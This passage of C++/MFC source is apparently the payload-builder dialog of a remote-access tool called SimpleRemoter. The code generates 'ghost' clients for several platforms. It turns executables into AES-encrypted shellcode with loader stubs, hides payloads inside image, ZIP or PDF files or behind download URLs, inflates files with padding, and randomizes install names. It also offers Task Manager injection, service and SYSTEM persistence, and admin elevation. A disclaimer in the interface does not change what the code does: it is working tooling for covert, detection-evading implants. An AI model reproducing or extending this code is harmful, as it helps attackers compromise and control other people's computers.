"重编 ghost/ServerDll 资源后可再次启用。") + "\r\n" + file,
|
||
"提示", MB_ICONINFORMATION);
|
||
m_nAnchorUserCheck = 0;
|
||
m_ChkTlsAnchor.SetCheck(BST_UNCHECKED);
|
||
} else if (embed != EmbedResult::Ok) {
|
||
MessageBoxL(_TR("内嵌 TLS 信任锚失败,已取消生成:") + "\r\n" + CString(anchorErr.c_str()) +
|
||
"\r\n" + _TR("可取消勾选「内嵌TLS信任锚」后重试。") + "\r\n" + file,
|
||
"提示", MB_ICONWARNING);
|
||
SAFE_DELETE_ARRAY(szBuffer);
|
||
return;
|
||
}
|
||
}
|
||
|
||
// 保存文件
|
||
char path[_MAX_PATH], * p = path;
|
||
GetModuleFileNameA(NULL, path, sizeof(path));
|
||
while (*p) ++p;
|
||
while ('\\' != *p) --p;
|
||
strcpy(p + 1, file.GetString());
|
||
|
||
CString strSeverFile = typ != -1 ? path : file;
|
||
DeleteFileA(strSeverFile);
|
||
CFile File;
|
||
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
|
||
if (!r) {
|
||
MessageBoxL(_TR("服务程序创建失败!") + "\r\n" + strSeverFile, "提示", MB_ICONWARNING);
|
||
SAFE_DELETE_ARRAY(szBuffer);
|
||
return;
|
||
}
|
||
File.Write(szBuffer, dwFileSize);
|
||
File.Close();
|
||
CString tip = index == IndexTestRun_DLL ? "\r\n" + _TR("提示: 请生成\"ServerDll.dll\",以便程序正常运行。") : _T("");
|
||
tip += g_ConnectAddress.protoType==PROTO_KCP ? "\n" + _TR("提示: 使用KCP协议生成服务,必须设置主控UDP协议参数为1。") : _T("");
|
||
tip += (g_ConnectAddress.protoType==PROTO_WS || g_ConnectAddress.protoType==PROTO_WSS) ?
|
||
"\n" + _TR("提示: WebSocket协议需经反向代理(如nginx 443)转发到主控端口,地址填域名。") : _T("");
|
||
if (anchorLen > 0) {
|
||
// 带上锚摘要:内置证书可能在服务端重建过程中换了一张,光看「成功」发现不了。
|
||
std::string summary;
|
||
tip += "\r\n" + _TR("已内嵌TLS信任锚") + ": " +
|
||
(TlsAnchorSummary(summary) ? CString(summary.c_str()) : CString("?"));
|
||
} else if (index == IndexServerDll && m_ChkTlsAnchor.IsWindowEnabled()) {
|
||
// 生成 ServerDll.dll 却没勾内嵌锚,等于 TestRun 那条链上一个能加密的客户端都
|
||
// 没有——非阻塞提示(设计文档 §4.7)。
|
||
tip += "\r\n" + _TR("提示: 未内嵌TLS信任锚,本批客户端首次连接为明文,需主控在线下发锚。");
|
||
}
|
||
std::string upx;
|
||
int sel = m_ComboCompress.GetCurSel();
|
||
if(sel == CLIENT_COMPRESS_UPX)upx = ReleaseUPX();
|
||
if (!upx.empty()) {
|
||
run_upx_async(GetParent()->GetSafeHwnd(), upx, strSeverFile.GetString(), true);
|
||
MessageBoxL(_TR("正在UPX压缩,请关注信息提示。") + "\r\n" + _TR("文件位于: ") + strSeverFile + tip, "提示", MB_ICONINFORMATION);
|
||
} else {
|
||
if (sel == CLIENT_COMPRESS_SC_AES) {
|
||
DWORD dwSize = 0;
|
||
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64 : IDR_SCLOADER_X86, dwSize,
|
||
is64bit ? ResFileName::SCLOADER_X64 : ResFileName::SCLOADER_X86);
|
||
if (data) {
|
||
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
|
||
if (iOffset != -1) {
|
||
SCInfo* sc = (SCInfo*)(data + iOffset);
|
||
LPBYTE srcData = (LPBYTE)szBuffer;
|
||
int srcLen = dwFileSize;
|
||
if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
|
||
generate_random_iv(sc->aes_key, 16);
|
||
generate_random_iv(sc->aes_iv, 16);
|
||
std::string key, iv;
|
||
for (int i = 0; i < 16; ++i) key += std::to_string(sc->aes_key[i]) + " ";
|
||
for (int i = 0; i < 16; ++i) iv += std::to_string(sc->aes_iv[i]) + " ";
|
||
Mprintf("AES_KEY: %s, AES_IV: %s\n", key.c_str(), iv.c_str());
|
||
|
||
struct AES_ctx ctx;
|
||
AES_init_ctx_iv(&ctx, sc->aes_key, sc->aes_iv);
|
||
AES_CBC_encrypt_buffer(&ctx, srcData, srcLen);
|
||
sc->len = srcLen;
|
||
sc->offset = dwSize;
|
||
CString old = strSeverFile;
|
||
PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".exe"));
|
||
strSeverFile.ReleaseBuffer();
|
||
if (strSeverFile != old) DeleteFileA(old);
|
||
int n = m_ComboPayload.GetCurSel();
|
||
CString payload = strSeverFile;
|
||
if (n) {
|
||
static std::map<int, std::string> m = {
|
||
{ Payload_Raw, "*.bin|*.bin|"}, { Payload_BMP, "*.bmp|*.bmp|"},
|
||
{ Payload_JPG, "*.jpg|*.jpg|"}, { Payload_PNG, "*.png|*.png|"},
|
||
{ Payload_ZIP, "*.zip|*.zip|"}, { Payload_PDF, "*.pdf|*.pdf|"},
|
||
};
|
||
payload = GetFilePath(NULL, m[n].c_str(), n != Payload_Raw);
|
||
sc->offset = n == Payload_Raw ? 0 : GetFileSize(payload);
|
||
strcpy(sc->file, PathFindFileNameA(payload));
|
||
strcpy(sc->targetDir, targetDir);
|
||
BOOL checked = m_BtnFileServer.GetCheck() == BST_CHECKED;
|
||
if (checked) {
|
||
strcpy(sc->downloadUrl, m_sDownloadUrl.IsEmpty() ? BuildPayloadUrl(m_strIP, sc->file) : m_sDownloadUrl);
|
||
if (m_sDownloadUrl.IsEmpty()) MessageBoxL(_TR("文件下载地址: \r\n") + sc->downloadUrl, "提示", MB_ICONINFORMATION);
|
||
}
|
||
tip = payload.IsEmpty() ? _TR("\r\n警告: 没有生成载荷!") :
|
||
checked ? _TR("\r\n提示: 本机提供下载时,载荷文件必须拷贝至\"Payloads\"目录。") : _TR("\r\n提示: 载荷文件必须拷贝至程序目录。");
|
||
}
|
||
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
|
||
if (r) {
|
||
r = WriteBinaryToFile(payload.GetString(), (char*)srcData, srcLen, n == Payload_Raw ? 0 : -1);
|
||
if (!r) tip = _TR("\r\n警告: 生成载荷失败!");
|
||
} else {
|
||
MessageBoxL(_TR("文件生成失败: ") + "\r\n" + strSeverFile, "提示", MB_ICONINFORMATION);
|
||
}
|
||
SAFE_DELETE_ARRAY(srcData);
|
||
}
|
||
}
|
||
}
|
||
SAFE_DELETE_ARRAY(data);
|
||
} else if (sel == CLIENT_PE_TO_SEHLLCODE) {
|
||
int pe_2_shellcode(const std::string & in_path, const std::string & out_str);
|
||
int ret = pe_2_shellcode(strSeverFile.GetString(), strSeverFile.GetString());
|
||
if (ret)MessageBoxL(_TR("ShellCode 转换异常, 异常代码: ") + CString(std::to_string(ret).c_str()),
|
||
"提示", MB_ICONINFORMATION);
|
||
} else if (sel == CLIENT_COMPRESS_SC_AES_OLD || // 兼容旧版本
|
||
sel == CLIENT_COMP_SC_AES_OLD_UPX) {
|
||
DWORD dwSize = 0;
|
||
LPBYTE data = ReadResource(is64bit ? IDR_SCLOADER_X64_OLD : IDR_SCLOADER_X86_OLD, dwSize,
|
||
is64bit ? ResFileName::SCLOADER_X64_OLD : ResFileName::SCLOADER_X86_OLD);
|
||
if (data) {
|
||
int iOffset = MemoryFind((char*)data, (char*)g_ConnectAddress.Flag(), dwSize, g_ConnectAddress.FlagLen());
|
||
if (iOffset != -1) {
|
||
SCInfoOld* sc = (SCInfoOld*)(data + iOffset);
|
||
LPBYTE srcData = (LPBYTE)szBuffer;
|
||
int srcLen = dwFileSize;
|
||
if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
|
||
generate_random_iv(sc->aes_key, 16);
|
||
generate_random_iv(sc->aes_iv, 16);
|
||
std::string key, iv;
|
||
for (int i = 0; i < 16; ++i) key += std::to_string(sc->aes_key[i]) + " ";
|
||
for (int i = 0; i < 16; ++i) iv += std::to_string(sc->aes_iv[i]) + " ";
|
||
Mprintf("AES_KEY: %s, AES_IV: %s\n", key.c_str(), iv.c_str());
|
||
|
||
struct AES_ctx ctx;
|
||
AES_init_ctx_iv(&ctx, sc->aes_key, sc->aes_iv);
|
||
AES_CBC_encrypt_buffer(&ctx, srcData, srcLen);
|
||
if (srcLen <= 8 * 1024 * 1024) {
|
||
memcpy(sc->data, srcData, srcLen);
|
||
sc->len = srcLen;
|
||
}
|
||
SAFE_DELETE_ARRAY(srcData);
|
||
PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".exe"));
|
||
strSeverFile.ReleaseBuffer();
|
||
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)data, dwSize);
|
||
if (r && sel == CLIENT_COMP_SC_AES_OLD_UPX) {
|
||
upx = ReleaseUPX();
|
||
if (!upx.empty()) {
|
||
run_upx_async(GetParent()->GetSafeHwnd(), upx, strSeverFile.GetString(), true);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
}
|
||
SAFE_DELETE_ARRAY(data);
|
||
}
|
||
else if (sel == CLIENT_SHELLCODE_BINARY) { // Shellcode 裸数据
|
||
LPBYTE srcData = (LPBYTE)szBuffer;
|
||
int srcLen = dwFileSize;
|
||
if (MakeShellcode(srcData, srcLen, (LPBYTE)szBuffer, dwFileSize, true)) {
|
||
PathRenameExtension(strSeverFile.GetBuffer(MAX_PATH), _T(".bin"));
|
||
strSeverFile.ReleaseBuffer();
|
||
BOOL r = WriteBinaryToFile(strSeverFile.GetString(), (char*)srcData, srcLen);
|
||
SAFE_DELETE_ARRAY(srcData);
|
||
}
|
||
}
|
||
int size = m_SliderClientSize.GetPos() * 2.56 * 1024 * 1024;
|
||
if (size > 0) {
|
||
std::vector<char> padding(size, time(0)%256);
|
||
WriteBinaryToFile(strSeverFile.GetString(), padding.data(), size, -1);
|
||
}
|
||
CString successMsg = _TR("生成成功! 文件位于:") + "\r\n" + strSeverFile + tip;
|
||
// macOS binary 被 patch 后签名失效,AMFI 会 SIGKILL。提醒走 install.sh
|
||
// (内部会 ad-hoc 重签) 或手动 codesign。
|
||
if (typ == CLIENT_TYPE_MACOS) {
|
||
successMsg += "\r\n\r\n";
|
||
successMsg += _TR("提示: macOS 端 binary 已被修改导致签名失效,直接运行会被系统强杀。");
|
||
successMsg += "\r\n";
|
||
successMsg += _TR("推荐: 拷贝到 macOS 后运行 install.sh 安装 (脚本会自动重签)。");
|
||
successMsg += "\r\n";
|
||
successMsg += _TR("或手动重签:") + " codesign --force --sign - ghost";
|
||
}
|
||
// Android APK 被 patch 后签名失效,必须用 apksigner 重签才能安装。
|
||
if (typ == CLIENT_TYPE_ANDROID) {
|
||
successMsg += "\r\n\r\n";
|
||
successMsg += _TR("提示: APK 已被修改,原签名失效,需要重签后才能安装到设备。");
|
||
successMsg += "\r\n";
|
||
successMsg += _TR("重签命令 (需 Android SDK build-tools):");
|
||
successMsg += "\r\napksigner sign --ks yama-release.jks --ks-pass env:YAMA_PWD ghost.apk";
|
||
}
|
||
MessageBoxL(successMsg, "提示", MB_ICONINFORMATION);
|
||
}
|
||
SAFE_DELETE_ARRAY(szBuffer);
|
||
if (index == IndexTestRun_DLL) return;
|
||
} catch (CMemoryException* e) {
|
||
char err[100];
|
||
e->GetErrorMessage(err, sizeof(err));
|
||
MessageBoxL(_TR("内存异常:") + CString(err), "异常", MB_ICONERROR);
|
||
} catch (CFileException* e) {
|
||
char err[100];
|
||
e->GetErrorMessage(err, sizeof(err));
|
||
MessageBoxL(_TR("文件异常:") + CString(err), "异常", MB_ICONERROR);
|
||
} catch (CException* e) {
|
||
char err[100];
|
||
e->GetErrorMessage(err, sizeof(err));
|
||
MessageBoxL(_TR("其他异常:") + CString(err), "异常", MB_ICONERROR);
|
||
}
|
||
|
||
SAFE_DELETE_ARRAY(szBuffer);
|
||
__super::OnOK();
|
||
}
|
||
|
||
BOOL CBuildDlg::OnInitDialog()
|
||
{
|
||
__super::OnInitDialog();
|
||
// 多语言翻译 - Static控件
|
||
SetDlgItemText(IDC_STATIC_OTHER_ITEM, _TR("未选择文件"));
|
||
SetDlgItemText(IDC_STATIC_PAYLOAD, _TR("载荷类型:"));
|
||
SetDlgItemText(IDC_STATIC_LOCATION, _TR("安装目录:"));
|
||
SetDlgItemText(IDC_STATIC_PAYLOAD2, _TR("子目录:"));
|
||
SetDlgItemText(IDC_STATIC_PAYLOAD3, _TR("程序名称:"));
|
||
SetDlgItemText(IDC_STATIC_DOWNLOAD, _TR("下载地址(默认本机):"));
|
||
SetDlgItemText(IDC_STATIC_BUILD_SERVICE, _TR("服务程序:"));
|
||
SetDlgItemText(IDC_STATIC_BUILD_ARCH, _TR("架构:"));
|
||
SetDlgItemText(IDC_STATIC_BUILD_MODE, _TR("模式:"));
|
||
SetDlgItemText(IDC_STATIC_BUILD_HOST_IP, _TR("主控IP地址:"));
|
||
SetDlgItemText(IDC_STATIC_BUILD_PROTOCOL, _TR("协议:"));
|
||
SetDlgItemText(IDC_STATIC_BUILD_ENCRYPT, _TR("加密:"));
|
||
SetDlgItemText(IDC_STATIC_BUILD_GROUP, _TR("分组名称:"));
|
||
SetDlgItemText(IDC_STATIC_BUILD_Port_2355, _TR("Port:"));
|
||
SetDlgItemText(IDC_STATIC_BUILD_PACK, _TR("加壳:"));
|
||
SetDlgItemText(IDC_STATIC_BUILD_TIP, _TR("提示: 多个上线地址用分号分隔,99个字符以内。仅供学习和自用,严禁用于非法目的使用。"));
|
||
SetDlgItemText(IDC_STATIC_BUILD_PADDING, _TR("程序增肥:"));
|
||
SetDlgItemText(IDC_STATIC_BUILD_GENERAL, _TR("通用"));
|
||
SetDlgItemText(IDC_STATIC_BUILD_ADVANCED, _TR("高级 (非必填项)"));
|
||
|
||
// 设置对话框标题和控件文本(解决英语系统乱码问题)
|
||
SetWindowText(_TR("生成服务端"));
|
||
SetDlgItemText(IDOK, _TR("确定"));
|
||
SetDlgItemText(IDCANCEL, _TR("取消"));
|
||
SetDlgItemText(IDC_CHECK_FILESERVER, _TR("下载服务"));
|
||
|
||
// TODO: 在此添加额外的初始化
|
||
CEdit* pEdit = (CEdit*)GetDlgItem(IDC_EDIT_IP);
|
||
pEdit->LimitText(99);
|
||
m_ComboExe.InsertStringL(IndexTestRun_DLL, "TestRun - 磁盘DLL");
|
||
m_ComboExe.InsertStringL(IndexTestRun_MemDLL, "TestRun - 内存DLL");
|
||
m_ComboExe.InsertStringL(IndexTestRun_InjSC, "TestRun - 注入任务管理器");
|
||
|
||
m_ComboExe.InsertStringL(IndexGhost, "ghost.exe");
|
||
m_ComboExe.InsertStringL(IndexServerDll, "ServerDll.dll");
|
||
m_ComboExe.InsertStringL(IndexTinyRun, "TinyRun.dll");
|
||
m_ComboExe.InsertStringL(IndexGhostMsc, "ghost.exe - Windows 服务");
|
||
m_ComboExe.InsertStringL(IndexTestRunMsc, "TestRun - Windows 服务");
|
||
m_ComboExe.InsertStringL(IndexLinuxGhost, "ghost - Linux x64");
|
||
m_ComboExe.InsertStringL(IndexMacGhost, "ghost - Apple MacOS");
|
||
m_ComboExe.InsertStringL(IndexAndroidGhost, "ghost - Google Android");
|
||
m_ComboExe.InsertStringL(IndexGhostSystem, "ghost - SYSTEM");
|
||
m_ComboExe.InsertStringL(IndexTestRunSystem, "TestRun - SYSTEM");
|
||
m_ComboExe.InsertStringL(OTHER_ITEM, CString("选择文件"));
|
||
m_ComboExe.SetCurSel(IndexTestRun_MemDLL);
|
||
|
||
m_ComboBits.InsertStringL(0, "64位");
|
||
m_ComboBits.InsertStringL(1, "32位");
|
||
m_ComboBits.SetCurSel(0);
|
||
|
||
m_ComboRunType.InsertStringL(RUNNING_RANDOM, "随机上线");
|
||
m_ComboRunType.InsertStringL(RUNNING_PARALLEL, "并发上线");
|
||
m_ComboRunType.SetCurSel(RUNNING_RANDOM);
|
||
|
||
m_ComboProto.InsertStringL(PROTO_TCP, "TCP");
|
||
m_ComboProto.InsertStringL(PROTO_UDP, "UDP");
|
||
m_ComboProto.InsertStringL(PROTO_HTTP, "HTTP");
|
||
m_ComboProto.InsertStringL(PROTO_RANDOM, "随机");
|
||
m_ComboProto.InsertStringL(PROTO_KCP, "KCP");
|
||
// 序号即 protoType,中间不能有空洞(下方 GetCurSel 直接当协议值用)。
|
||
// 该下拉框资源带 CBS_SORT 样式:InsertString 不受它影响,能保持这里的顺序,
|
||
// 换成 AddString 会按字母序重排,HTTP 抢到第 0 项,默认协议就错了。
|
||
m_ComboProto.InsertStringL(PROTO_WS, "WebSocket");
|
||
m_ComboProto.InsertStringL(PROTO_WSS, "WS+TLS");
|
||
m_ComboProto.SetCurSel(PROTO_TCP);
|
||
|
||
m_ComboEncrypt.InsertStringL(PROTOCOL_SHINE, "Shine");
|
||
m_ComboEncrypt.InsertStringL(PROTOCOL_HELL, "HELL");
|
||
m_ComboEncrypt.SetCurSel(PROTOCOL_HELL);
|
||
|
||
m_ComboCompress.InsertStringL(CLIENT_COMPRESS_NONE, "无");
|
||
m_ComboCompress.InsertStringL(CLIENT_COMPRESS_UPX, "UPX");
|
||
m_ComboCompress.InsertStringL(CLIENT_COMPRESS_SC_AES, "ShellCode AES");
|
||
m_ComboCompress.InsertStringL(CLIENT_PE_TO_SEHLLCODE, "PE->ShellCode");
|
||
m_ComboCompress.InsertStringL(CLIENT_COMPRESS_SC_AES_OLD, "ShellCode AES<Old>");
|
||
m_ComboCompress.InsertStringL(CLIENT_SHELLCODE_BINARY, "ShellCode BIN");
|
||
m_ComboCompress.InsertStringL(CLIENT_COMP_SC_AES_OLD_UPX, "SC AES<Old> + UPX");
|
||
m_ComboCompress.SetCurSel(CLIENT_COMPRESS_SC_AES_OLD);
|
||
|
||
m_ComboLocation.InsertStringL(0, "ProgramData");
|
||
m_ComboLocation.InsertStringL(1, "ProgramFiles - Admin");
|
||
m_ComboLocation.InsertStringL(2, "SystemRoot - Admin");
|
||
m_ComboLocation.InsertStringL(3, "APPDATA");
|
||
m_ComboLocation.InsertStringL(4, "LOCALAPPDATA");
|
||
m_ComboLocation.SetCurSel(0);
|
||
|
||
m_ComboPayload.InsertStringL(Payload_Self, "载荷写入当前程序尾部");
|
||
m_ComboPayload.InsertStringL(Payload_Raw, "载荷写入单独的二进制文件");
|
||
m_ComboPayload.InsertStringL(Payload_BMP, "载荷写入 BMP 格式图片");
|
||
m_ComboPayload.InsertStringL(Payload_JPG, "载荷写入 JPG 格式图片");
|
||
m_ComboPayload.InsertStringL(Payload_PNG, "载荷写入 PNG 格式图片");
|
||
m_ComboPayload.InsertStringL(Payload_ZIP, "载荷写入 ZIP 压缩包");
|
||
m_ComboPayload.InsertStringL(Payload_PDF, "载荷写入 PDF 文件");
|
||
m_ComboPayload.SetCurSel(Payload_Self);
|
||
m_ComboPayload.ShowWindow(SW_HIDE);
|
||
m_StaticPayload.ShowWindow(SW_HIDE);
|
||
|
||
m_BtnFileServer.ShowWindow(SW_HIDE);
|
||
m_BtnFileServer.SetCheck(BST_UNCHECKED);
|
||
m_StaticDownload.ShowWindow(SW_HIDE);
|
||
m_EditDownloadUrl.ShowWindow(SW_HIDE);
|
||
|
||
m_OtherItem.ShowWindow(SW_HIDE);
|
||
|
||
m_runasAdmin = FALSE;
|
||
m_MainMenu.LoadMenuA(IDR_MENU_BUILD);
|
||
TranslateMenu(&m_MainMenu);
|
||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||
SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, MF_CHECKED);
|
||
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, MF_UNCHECKED);
|
||
::SetMenu(this->GetSafeHwnd(), m_MainMenu.GetSafeHmenu()); // 为窗口设置菜单
|
||
::DrawMenuBar(this->GetSafeHwnd()); // 显示菜单
|
||
|
||
BOOL b = THIS_CFG.GetInt("settings", "RandomName", 0);
|
||
if (b) {
|
||
m_EditInstallDir.SetWindowTextA(m_sInstallDir = GenerateRandomName(5 + time(0) % 10));
|
||
m_EditInstallName.SetWindowTextA(m_sInstallName = GenerateRandomName(5 + time(0) % 10));
|
||
}
|
||
SubMenu->CheckMenuItem(ID_RANDOM_NAME, b ? MF_CHECKED : MF_UNCHECKED);
|
||
|
||
// 初始化默认 IP 和端口(优先使用上级FRP配置)
|
||
std::string effectiveIP;
|
||
int effectivePort;
|
||
CMy2015RemoteDlg::GetEffectiveMasterAddress(effectiveIP, effectivePort);
|
||
m_strIP = effectiveIP.c_str();
|
||
m_strPort.Format("%d", effectivePort);
|
||
UpdateData(FALSE);
|
||
|
||
// 内嵌 TLS 信任锚复选框:动态创建在「协议」行与「Port」行之间的空白带(DLU
|
||
// 216,70 — 412,82)。动态创建的好处是文案走语言文件、不必新增资源控件,位置也只
|
||
// 在这一个地方维护。
|
||
CRect rcAnchor(216, 70, 412, 82);
|
||
MapDialogRect(&rcAnchor);
|
||
m_ChkTlsAnchor.Create(_TR("内嵌TLS信任锚(首连即加密)"),
|
||
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
|
||
rcAnchor, this, IDC_CHECK_TLS_ANCHOR);
|
||
// 运行时创建的控件不继承对话框字体(模板里的控件是对话框管理器按 DS_SETFONT 设的),
|
||
// 不显式设置就会用系统默认字体,和旁边的下拉框、单选按钮对不上。
|
||
m_ChkTlsAnchor.SetFont(GetFont());
|
||
UpdateTlsAnchorState();
|
||
|
||
return TRUE; // return TRUE unless you set the focus to a control
|
||
// 异常: OCX 属性页应返回 FALSE
|
||
}
|
||
|
||
CString CBuildDlg::GetFilePath(CString type, CString filter, BOOL isOpen)
|
||
{
|
||
CComPtr<IShellFolder> spDesktop;
|
||
HRESULT hr = SHGetDesktopFolder(&spDesktop);
|
||
if (FAILED(hr)) {
|
||
MessageBoxL("Explorer 未正确初始化! 请稍后再试。", "提示", MB_ICONINFORMATION);
|
||
return "";
|
||
}
|
||
// 过滤器:显示所有文件和特定类型文件(例如文本文件)
|
||
CFileDialog fileDlg(isOpen, type, NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT, filter, AfxGetMainWnd());
|
||
int ret = 0;
|
||
try {
|
||
ret = fileDlg.DoModal();
|
||
} catch (...) {
|
||
MessageBoxL("文件对话框未成功打开! 请稍后再试。", "提示", MB_ICONINFORMATION);
|
||
return "";
|
||
}
|
||
if (ret == IDOK) {
|
||
CString name = fileDlg.GetPathName();
|
||
return name;
|
||
}
|
||
return "";
|
||
}
|
||
|
||
// 选 Linux / macOS 客户端时禁用对它们不适用的 Windows-only 选项:
|
||
// - 架构 (m_ComboBits):Linux/macOS binary 是固定架构的预编译资源
|
||
// - 加壳 (m_ComboCompress):UPX / ShellCode AES 等都是 Windows PE 概念
|
||
// - 高级 group:安装目录 / 程序名称 / 载荷类型 / 增肥 / 下载服务,全是 Windows 安装/伪装相关
|
||
void CBuildDlg::EnableWindowsOnlyControls(BOOL enable)
|
||
{
|
||
static const int ids[] = {
|
||
// 架构
|
||
IDC_COMBO_BITS, IDC_STATIC_BUILD_ARCH,
|
||
// 加壳
|
||
IDC_COMBO_COMPRESS, IDC_STATIC_BUILD_PACK,
|
||
// 高级 group + 内部所有控件
|
||
IDC_STATIC_BUILD_ADVANCED,
|
||
IDC_STATIC_PAYLOAD, IDC_STATIC_PAYLOAD2, IDC_STATIC_PAYLOAD3,
|
||
IDC_STATIC_BUILD_PADDING, IDC_STATIC_DOWNLOAD,
|
||
IDC_EDIT_INSTALL_DIR, IDC_EDIT_INSTALL_NAME,
|
||
IDC_COMBO_PAYLOAD, IDC_SLIDER_CLIENT_SIZE,
|
||
IDC_CHECK_FILESERVER, IDC_EDIT_DOWNLOAD_URL,
|
||
};
|
||
for (int id : ids) {
|
||
if (CWnd* p = GetDlgItem(id)) p->EnableWindow(enable);
|
||
}
|
||
}
|
||
|
||
// 「内嵌 TLS 信任锚」复选框的可用性与文案。三个条件缺一不可(设计文档 §4.7):
|
||
// 1. 生成目标里真的有客户端代码(ghost.exe / ServerDll.dll);
|
||
// 2. 协议会用到这份锚(TCP / HTTP;WS 走明文,WSS 的锚是反代那张证书);
|
||
// 3. 服务端自己有可用身份(ServerTlsIdentity::IsReady)。
|
||
// 不可用时置灰,并把原因写进文案本身——置灰控件收不到 tooltip,提示只能靠文案带出去。
|
||
void CBuildDlg::UpdateTlsAnchorState()
|
||
{
|
||
if (!m_ChkTlsAnchor.GetSafeHwnd())
|
||
return;
|
||
|
||
const int index = m_ComboExe.GetCurSel();
|
||
const int proto = m_ComboProto.GetCurSel();
|
||
const bool embeddable = (index == IndexGhost || index == IndexGhostMsc ||
|
||
index == IndexGhostSystem || index == IndexServerDll);
|
||
const bool testRun = (index == IndexTestRun_DLL || index == IndexTestRun_MemDLL ||
|
||
index == IndexTestRun_InjSC || index == IndexTestRunMsc ||
|
||
index == IndexTestRunSystem);
|
||
|
||
CString label;
|
||
bool usable = false;
|
||
if (!embeddable) {
|
||
// TestRun 只是加载器,锚要生成进 ServerDll.dll —— 这条提示比「不含客户端」有用。
|
||
label = testRun ? _TR("内嵌TLS信任锚(锚在ServerDll.dll里)")
|
||
: _TR("内嵌TLS信任锚(该目标不含客户端)");
|
||
} else if (proto != PROTO_TCP && proto != PROTO_HTTP) {
|
||
label = _TR("内嵌TLS信任锚(该协议不走TLS)");
|
||
} else if (!ServerTlsIdentity::IsReady()) {
|
||
label = _TR("内嵌TLS信任锚(服务端未启用TLS)");
|
||
} else {
|
||
label = _TR("内嵌TLS信任锚(首连即加密)");
|
||
usable = true;
|
||
}
|
||
|
||
m_ChkTlsAnchor.SetWindowText(label);
|
||
m_ChkTlsAnchor.EnableWindow(usable);
|
||
if (!usable) {
|
||
// 不可用时一律显示成未勾选;用户此前的表态留在 m_nAnchorUserCheck 里。
|
||
m_ChkTlsAnchor.SetCheck(BST_UNCHECKED);
|
||
} else {
|
||
// 没表过态就默认勾选;表过态(尤其是主动取消)就以用户的为准。不能用
|
||
// 「由不可用变可用就勾上」来判断——那样切一次协议再切回来,会把用户的
|
||
// 取消悄悄改回勾选,生成时真就内嵌进去了。
|
||
m_ChkTlsAnchor.SetCheck(m_nAnchorUserCheck < 0 ? BST_CHECKED : m_nAnchorUserCheck);
|
||
}
|
||
}
|
||
|
||
void CBuildDlg::OnBnClickedCheckTlsAnchor()
|
||
{
|
||
if (m_ChkTlsAnchor.GetSafeHwnd())
|
||
m_nAnchorUserCheck = m_ChkTlsAnchor.GetCheck();
|
||
}
|
||
|
||
void CBuildDlg::OnCbnSelchangeComboProto()
|
||
{
|
||
UpdateTlsAnchorState();
|
||
}
|
||
|
||
void CBuildDlg::OnCbnSelchangeComboExe()
|
||
{
|
||
auto n = m_ComboExe.GetCurSel();
|
||
EnableWindowsOnlyControls(!(n == IndexLinuxGhost || n == IndexMacGhost || n == IndexAndroidGhost));
|
||
UpdateTlsAnchorState();
|
||
if (n == OTHER_ITEM) {
|
||
CString name = GetFilePath(_T("dll"), _T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"));
|
||
if (!name.IsEmpty()) {
|
||
m_OtherItem.SetWindowTextA(name);
|
||
CFile File;
|
||
BOOL ret = File.Open(name, CFile::modeRead | CFile::typeBinary);
|
||
if (ret) {
|
||
int dwFileSize = File.GetLength();
|
||
LPBYTE szBuffer = new BYTE[dwFileSize];
|
||
File.Read(szBuffer, dwFileSize);
|
||
File.Close();
|
||
m_strIP = "127.0.0.1";
|
||
m_strPort = "6543";
|
||
UpdateData(FALSE);
|
||
SAFE_DELETE_ARRAY(szBuffer);
|
||
}
|
||
} else {
|
||
m_OtherItem.SetWindowTextA(_TR("未选择文件"));
|
||
}
|
||
m_OtherItem.ShowWindow(SW_SHOW);
|
||
} else {
|
||
m_OtherItem.SetWindowTextA("");
|
||
m_OtherItem.ShowWindow(SW_HIDE);
|
||
}
|
||
}
|
||
|
||
|
||
void CBuildDlg::OnHelpParameters()
|
||
{
|
||
CString url = _T("https://github.com/yuanyuanxiang/SimpleRemoter/wiki#生成参数");
|
||
ShellExecute(NULL, _T("open"), url, NULL, NULL, SW_SHOWNORMAL);
|
||
}
|
||
|
||
|
||
void CBuildDlg::OnHelpFindden()
|
||
{
|
||
CInputDialog dlg(this);
|
||
dlg.m_str = m_strFindden;
|
||
dlg.Init(_TR("生成标识"), _TR("请设置标识信息:"));
|
||
if (dlg.DoModal() == IDOK) {
|
||
m_strFindden = dlg.m_str;
|
||
}
|
||
}
|
||
|
||
|
||
void CBuildDlg::OnMenuEncryptIp()
|
||
{
|
||
m_strEncryptIP = m_strEncryptIP == _L(_T("是")) ? _L(_T("否")) : _L(_T("是"));
|
||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||
SubMenu->CheckMenuItem(ID_MENU_ENCRYPT_IP, m_strEncryptIP == _L(_T("是")) ? MF_CHECKED : MF_UNCHECKED);
|
||
}
|
||
|
||
|
||
void CBuildDlg::OnClientRunasAdmin()
|
||
{
|
||
m_runasAdmin = !m_runasAdmin;
|
||
CMenu* SubMenu = m_MainMenu.GetSubMenu(0);
|
||
SubMenu->CheckMenuItem(ID_CLIENT_RUNAS_ADMIN, m_runasAdmin ? MF_CHECKED : MF_UNCHECKED);
|
||
static bool warned = false;
|
||
if (m_runasAdmin && !warned) {
|
||
warned = true;
|
||
MessageBoxL(_L("安装Windows服务必须设置,客户端运行时会请求管理员权限,可能会触发系统UAC提示。\n")+
|
||
_L("如果未设置,则程序会以当前用户的权限运行,通常也能安装成功。"), "提示", MB_ICONINFORMATION);
|
||
}
|
||
}
|
||
|
||
|
||
void CBuildDlg::OnCbnSelchangeComboCompress()
|
